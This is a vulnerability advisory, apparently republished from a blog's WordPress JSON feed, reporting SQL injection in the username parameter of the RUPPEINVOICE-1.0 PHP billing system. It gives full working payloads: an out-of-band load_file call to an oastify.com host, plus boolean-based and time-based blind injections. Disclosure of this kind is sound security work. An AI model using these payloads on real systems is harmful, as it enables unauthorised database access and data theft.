## Title: RUPPEINVOICE-1.0 Multiple-SQLi
\n## Author: nu11secur1ty
\n## Date: 03\/09\/2024
\n## Vendor: https:\/\/www.mayurik.com\/
\n## Software: https:\/\/www.sourcecodester.com\/php\/14831\/billing-system-project-php-source-code-free-download.html
\n## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n
## Description:
\nThe username parameter appears to be vulnerable to SQL injection
\nattacks. The payload ‘+(select
\nload_file(‘\\\\\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\\\fmd’))+’
\nwas submitted in the username parameter. This payload injects a SQL
\nsub-query that calls MySQL’s load_file function with a UNC file path
\nthat references a URL on an external domain. The application
\ninteracted with that domain, indicating that the injected SQL query
\nwas executed. The attacker can get all information from the system by
\nusing this vulnerability!<\/p>\n
STATUS: HIGH- Vulnerability<\/p>\n
[+]Payload:
\n“`mysql
\n—
\nParameter: username (POST)
\nType: boolean-based blind
\nTitle: OR boolean-based blind – WHERE or HAVING clause (NOT)
\nPayload: username=zBuveHif’+(select
\nload_file(‘\\\\\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\\\fmd’))+”
\nOR NOT 6356=6356 AND ‘Eocq’=’Eocq&password=g7J!m3v!W2&login=<\/p>\n
Type: time-based blind
\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
\nPayload: username=zBuveHif’+(select
\nload_file(‘\\\\\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\\\fmd’))+”
\nAND (SELECT 4013 FROM (SELECT(SLEEP(7)))BnHP) AND
\n‘bCQt’=’bCQt&password=g7J!m3v!W2&login=
\n—<\/p>\n
“`<\/p>\n
## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2023\/RUPPEINVOICE-1.0)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/www.nu11secur1ty.com\/2024\/03\/ruppeinvoice-10-multiple-sqli.html)<\/p>\n
## Time spend:
\n00:35:00<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: RUPPEINVOICE-1.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 03\/09\/2024 ## Vendor: https:\/\/www.mayurik.com\/ ## Software: https:\/\/www.sourcecodester.com\/php\/14831\/billing-system-project-php-source-code-free-download.html ## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload ‘+(select load_file(‘\\\\\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\\\fmd’))+’ was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55290","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55290","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55290"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55290\/revisions"}],"predecessor-version":[{"id":55302,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55290\/revisions\/55302"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55290"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55290"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55290"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}